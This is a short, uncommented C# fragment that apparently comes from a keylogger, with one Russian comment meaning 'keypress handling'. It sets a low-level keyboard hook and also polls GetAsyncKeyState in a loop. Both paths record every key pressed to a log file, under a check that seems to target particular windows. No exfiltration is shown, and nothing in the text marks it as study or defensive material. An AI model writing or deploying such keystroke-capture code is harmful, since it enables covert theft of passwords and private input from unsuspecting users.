private static IntPtr hookProc(int nCode, IntPtr wParam, IntPtr lParam) { //обработка нажатия if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) { if (wtc == null || (wtc != null && wtc.Check())) { int vkCode = Marshal.ReadInt32(lParam); KeysConverter keysConverter = new KeysConverter(); Log.ToFile(keysConverter.ConvertToString(vkCode) + " "); } return((IntPtr)0); } else { return(CallNextHookEx(hhook, nCode, (int)wParam, lParam)); } }
public void loop() { while (Enabled) { try { if (wtc != null && wtc.Check()) { for (Int32 i = 0; i < 255; i++) { int state = GetAsyncKeyState(i); if (state == 1 || state == -32767) { Log.ToFile($"{(Keys)i} "); } } } } catch (Exception ex) { } Thread.Sleep(100); } }